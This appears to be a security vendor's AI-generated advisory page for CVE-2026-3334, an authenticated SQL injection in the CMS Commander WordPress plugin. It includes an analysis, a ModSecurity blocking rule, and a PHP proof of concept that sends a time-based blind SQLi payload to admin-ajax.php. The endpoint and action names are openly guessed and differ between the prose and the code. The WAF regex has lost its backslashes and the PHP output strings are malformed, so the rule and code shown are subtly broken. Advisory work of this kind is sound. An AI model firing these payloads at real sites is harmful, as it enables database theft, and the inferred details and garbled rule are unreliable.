Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 25, 2026

CVE-2026-3334: CMS Commander <= 2.288 – Authenticated (Custom+) SQL Injection via 'or_blogname' Parameter (cms-commander-client)

CVE ID CVE-2026-3334
Severity High (CVSS 8.8)
CWE 89
Vulnerable Version 2.288
Patched Version
Disclosed March 19, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-3334 (metadata-based):
This vulnerability is an authenticated SQL injection in the CMS Commander WordPress plugin. Attackers with access to a valid CMS Commander API key can inject malicious SQL commands through the ‘or_blogname’, ‘or_blogdescription’, and ‘or_admin_email’ parameters during the plugin’s restore workflow. The CVSS score of 8.8 reflects a high-severity risk to confidentiality, integrity, and availability.

Atomic Edge research infers the root cause is improper neutralization of user-supplied input within SQL commands (CWE-89). The description states insufficient escaping and lack of query preparation. Without a code diff, this indicates the plugin likely concatenated user-controlled parameters directly into SQL statements. The vulnerable parameters appear to be part of a conditional WHERE clause, as suggested by the ‘or_’ prefix. This is a classic SQL injection pattern where user input modifies query logic.

The attack vector requires authentication via a valid CMS Commander API key. The vulnerability description references the ‘restore workflow’. Atomic Edge analysis deduces this workflow is likely triggered via a WordPress AJAX handler or a custom admin endpoint. A probable endpoint is /wp-admin/admin-ajax.php with an action parameter like ‘cms_commander_restore’ or similar. Attackers would send a POST request containing their API key and a malicious payload in one of the named parameters, such as ‘or_blogname’. A payload might be: ‘ OR 1=1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)–‘ to perform time-based blind SQL injection.

Effective remediation requires using WordPress’s $wpdb->prepare() method for all SQL queries that incorporate user input. The plugin must ensure all variables in SQL statements are properly parameterized. Direct string concatenation with user-controlled data must be eliminated. Input validation alone is insufficient for SQL injection prevention in WordPress; prepared statements are the standard.

Successful exploitation allows attackers to extract sensitive information from the database. This includes hashed user passwords, API keys, and other plugin-specific secrets stored in wp_options or custom tables. Attackers could also potentially modify database contents, leading to privilege escalation or site compromise. The authenticated nature limits the attack pool, but the impact is full database access for any user with the required API key.

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-3334 (metadata-based)
# This rule targets SQL injection via the CMS Commander plugin's restore workflow AJAX endpoint.
# It matches the specific vulnerable parameters described in the CVE.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php" 
  "id:20263334,phase:2,deny,status:403,chain,msg:'CVE-2026-3334: CMS Commander SQL Injection via AJAX',severity:'CRITICAL',tag:'CVE-2026-3334',tag:'WordPress',tag:'Plugin:CMS-Commander-Client',tag:'Attack/SQLi'"
  SecRule ARGS_POST:action "@rx ^(cms_commander|cmmscmd|cmc)" 
    "chain,t:none"
    SecRule ARGS_POST "@rx b(or_blogname|or_blogdescription|or_admin_email)b" 
      "chain,t:none"
      SecRule ARGS_POST:or_blogname|ARGS_POST:or_blogdescription|ARGS_POST:or_admin_email "@rx (?i)(b(select|union|sleep|benchmark|ifs*(|cases+when)b|['"]s*(and|or)s*[d('"]|(ds*[=<>]+s*d))" 
        "t:urlDecodeUni,t:htmlEntityDecode,t:lowercase,t:removeWhitespace,capture"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-3334 - CMS Commander <= 2.288 - Authenticated (Custom+) SQL Injection via 'or_blogname' Parameter
<?php
/*
Assumptions:
1. The vulnerable endpoint is a WordPress AJAX handler at /wp-admin/admin-ajax.php.
2. The AJAX action name is derived from the plugin slug ('cms-commander-client').
3. The exploit requires a valid 'api_key' parameter (the authentication mechanism).
4. The vulnerable parameters are 'or_blogname', 'or_blogdescription', and 'or_admin_email'.
5. The injection point is within a WHERE clause, allowing boolean-based or time-based blind SQLi.
*/

$target_url = 'http://vulnerable-site.com/wp-admin/admin-ajax.php';
$api_key = 'VALID_API_KEY_HERE'; // Attacker must possess a valid CMS Commander API key

// Time-based blind SQL injection payload targeting the 'or_blogname' parameter.
// This payload uses the SLEEP() function to cause a 5-second delay if injection succeeds.
$malicious_payload = "' OR IF(1=1,SLEEP(5),0) AND '1'='1";

$post_data = array(
    'action' => 'cms_commander_client_restore', // Inferred action name
    'api_key' => $api_key,
    'or_blogname' => $malicious_payload,
    // Other required parameters for the restore workflow may be needed.
    // 'or_blogdescription' and 'or_admin_email' are also vulnerable.
);

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_TIMEOUT, 15); // Increase timeout to detect sleep

$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);

if ($elapsed >= 5) {
    echo "[+] Potential SQL Injection successful. Response delayed by " . round($elapsed, 2) . " seconds.n";
    echo "Response snippet: " . substr($response, 0, 500) . "n";
} else {
    echo "[-] No time delay detected. Injection may have failed or site is not vulnerable.n";
    echo "Elapsed time: " . round($elapsed, 2) . " seconds.n";
}
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School